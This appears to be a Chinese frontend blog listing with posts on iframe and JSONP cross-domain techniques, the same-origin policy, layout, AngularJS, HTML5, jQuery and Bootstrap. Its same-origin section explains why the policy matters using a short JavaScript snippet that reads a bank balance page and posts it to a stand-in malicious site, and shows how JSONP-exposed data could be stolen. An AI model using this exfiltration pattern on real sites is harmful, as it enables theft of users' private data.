Frontend

利用两层iframe跨主域获取json数据

数据消费者: http://consumer.net/page.htm 数据提供者: http://provider.net/json.htm 方案 1.提供端搞一个provider-proxy,用作消费端的iframe 2.provider-proxy请求提供端的数据。 由于同域,所以这次请求能够成功;但是请求的结果无法直接返回给作为父frame的消费端(parent.document.callback(data)),因为当父子frame不同域时,子frame的parent.document引用会被浏览器禁止。 3.消费端要搞一个consumer-proxy 4.consumer-proxy完成最后一步(一种非常取巧的做法)     a.provider-proxy拿到返回的数据结果后,生成一个iframe(或者重用),再调用 iframe.src="http://page.net/consumer-proxy?data=" + data; 这条语句使得consumer-proxy成为provider-proxy的iframe,同时它还把数据结果作为参数传给了consumer-proxy     b.consumer-proxy被加载后,则从参数中拿到data值,然后调用 parent.parent.document.callback(data);  而parent.parent就是消费端的大页面,就这样一搞,形成了数据回路。 那么,parent.parent.document为什么是一个合法的引用?       i. 首先,parent.parent是一个合法的引用,不管同不同源      ii. 其次,consumer-proxy的域是consumer.net, parent.parent的域也是consumer.net, 所以在consumer-proxy页面里引用parent.parent.document是合法的,不会违反同源策略。

jsonp原理

远程jsonp服务提供的东西和普通的ajax+json一样,也是一串json. 普通ajax调用受限于浏览器的同域限制,只适用于客户端和服务端属于同一个域名的情况。 jsonp就是用来突破这个限制的。它本质并不是ajax调用,而是一个“远程script源码的引用” <script src="http://remote-site/hello.jsonp"> <!–这种引用不受同源策略限制–> </script> http://remote-site/hello.jsonp返回的格式类似于: 引用    onJsonpLoad("{resut:success,value:123}"); 也就是说,返回的是一条符合JS语法的javascript语句   1. 所以,<script src="xxx"/>这种方式才能成功运行。   2. 远程返回语句后,客户端还会立即执行这条语句;这就意味着onJsonpLoad()方法是客户端中的一个回调方法。为了给予客户端足够的灵活性,服务端一般不会将回调方法名写死,而是让客户端在URL里指定,再原样返回。

关于浏览器同源策略的几点说明

没有同源策略倒底会怎么样?真的会有问题? 如果用户登录网银,再在同一个浏览器的一个tab里打开一个恶意站点;这个恶意站点页面里包含一段js代码: var balanceHtml = ajax.get(“http://mybank/我的余额.jsp”); ajax.post(“http://恶意站点/保存信息.jsp”, balanceHtml); 那么用户的银行余额会轻松地被恶意站点窃取。 有了同源策略, 上面的第一行代码会被浏览器拒绝执行 (严格地说,是会执行,但不会有返回值;所以“/转账给我.jsp”这类操作应该通过csrf token保护起来) 那么通过jsonp跨域,然后再窃取网银余额呢? 恶意站点的<script src="http://mybank/我的余额.jsp">不会执行成功,因为拿到的结果不是合法的JS语句,无法继续执行。 但如果网银服务端以正规jsonp格式暴露了余额数据,那么恶意站点的<script src="http://mybank/我的余额.jsonp"/>最终会变成 callback({"balance":"1000块"})来执行,数据一下子就偷到了。 所以,机密数据不能通过jsonp来暴露。 设置document.domain可以跨子域 1. 要注意的是,设置document.domain时要求两个页面都设置成一模一样的domain. 一个domain.com, 另一个a.domain.com是不行的。 2. 如果a.domain.com的页面想访问b.domain.com的ajax服务,通过设置document.domain这种方式是无效的。因为ajax返回的只是一串json,没地方设置domain. 设置document.domain这种作法更适合于iframe包含的情境。 待续。。。

垂直滚动条对居中布局的影响

典型的居中布局是让body的margin和padding为0,然后让内容(如<div id= content/>) 居中。 这种做法的问题是:页面元素在有垂直滚动条和无垂直滚动条时,相对于屏幕的位置不同。 比如你的屏宽是2000,内容宽度是1000; 无滚动条时,内容最左端相对于屏幕左端的偏移量就是500 ([2000-1000]/2) . 有滚动条时,由于滚动条本身要占一定宽度(比如说20),则新的偏移量将是 (2000-20-1000)/2 =490. 如果用户从一个无滚动条页面(比如数据很少的列表页面)切换到一个有滚动条的页面(数据很多的列表页面),就会感觉到明显的页面的扯动,用户体验很不好。 要解决这个问题,可以把居中布局改成按居左布局+固定偏移量,baidu的搜索页就是这样布局的。如果想继续用居中布局,有一种办法是强制全站总是出现垂直滚动条: html {overflow-y: scroll;} /*这是css3属性,有的浏览器可能不支持*/

angularjs研究

Angularjs使用MVC的好处 1.从设计的层面来看:原来富客户端程序需要用javascript操纵dom结构中的细微元素,需要知道dom结构的细节,造成Controller和View的强耦合:实现JS逻辑时需要确切地知道dom结构的细节,而且如果dom结构改了,js也要改。用angularjs没有这个问题,它只是把数据丢给View,View自己来编排数据。 2.从代码的层面来看:     a.C和V: html代码和javascript代码可以完全分离,没有任何缠绕。Javascript代码里不会操纵dom元素,dom的html代码里也不需要注册javascript钩子     b.V和M: 数据不再由javascript函数填充到dom中,而是在dom中使用与html友好的模板标签,直接获得数据。     c.你将要写的Javascript代码看起来都是完整的controller对象,完全由数据+方法组成,非常易读、易维护;而且代码以“类”为单位,可以形成良好的代码组织结构。 用户输入事件的处理模式 1. M/V直接联动,并且自动化:原有的模式为dom输入元素上的用户输入事件指定监听函数,事件发生时运行监听函数,在函数里操纵dom输出元素;新模式是为dom输入元素直接绑定Model, 输入事件立即造成Model的修改,绑定这个Model的输出元素也直接跟着变。整个过程不需要开发者写一行Javascript代码,框架(容器)帮你在幕后做好相关的事情。 2.非输入型事件: 注册一个controller函数<img ng-src="{{img}}" ng-click="setImage(img)"> 。那angularjs是否包装了所有的JS事件模型?是比较全的,但对一些mobile事件还没有支持。 数据无关的原生JS操作如何支持 1.如何实现javascript的强交互效果,比如弹出框、tab等等?  答:可以在controller里的function直接调用alert() 2.Javascript现有的一些非domAPI,比如从请求中获得参数、读取cookie是否还支持? 答:支持的,都有相应的service可以注入 组件化能力 1. 可以用directive命令来生成标签 2. 多个组件可以放在同一张页面里用,而且不会生成iframe; 但是经研究,js、css文件重复、元素命名冲突问题并没有得到解决;如果两个组件都是<html>级的,则很容易出错

html5: 不仅是一堆新标签,它还包括一些新的API

html5的改进不仅仅在于<audio>, <video>, <header>之类的一堆新标签,它还包括一些API,有些API对移动应用还很重要。 当然html5还有其他细小的改进,这里就不说了。 API    1.html语言怎么会有API呢? 这里的API其实是指html5规范制定的、可以用javascript来调用、在html4基础上新增的API    2.这些新API除了一些dom操作和多媒体操作之外,还包括一些似乎不像是浏览器、javascript该干或者有权力干的事,比如web storage(大容量存储),File API(文件上传), File Writer API(写文件到本地),web socket(长连接通信).  有些API还对移动设备的APP非常重要,比如离线缓存、拖拉、地理定位等。         

comet

摘自wiki: Comet is an umbrella term, encompassing multiple techniques for achieving this interaction. All these methods rely on features included by default in browsers, such as JavaScript, rather than on non-default plugins. The Comet approach differs from the original model of the web, in which a browser requests a complete web page at a time. …

comet Read More »

jquery常用代码片断

<html> <head> <script src="/js/jquery.js"> </script> <script> $( document ).ready(function() { $("#btn").click(function( event ) { $.ajax({ url: "/xxx.htm", type: "get", dataType: ‘json’, data: "", success: function(json){ $("#lbl").text(json.userNmae); }, error:function(request, status, error){ alert("http code "+ status + "\n" + error + "\n" + request.responseText); } }); }); }); </script> </head> <body> <input type="button" id = "btn" value="Click …

jquery常用代码片断 Read More »

收藏一下bootstrap相关的一些链接

不同布局的模板: http://twitter.github.io/bootstrap/getting-started.html#examples 现成的bootstrap css库,快速改变主题:  http://bootswatch.com/ 用less重新编译bootstrap css:  http://bootstrap.lesscss.ru/less.html bootstrap theme的市场: https://wrapbootstrap.com 80个基于bootstrap的建站模板: http://www.tripwiremagazine.com/2013/02/twitter-bootstrap-templates.html , 有的还能跟wordpress整合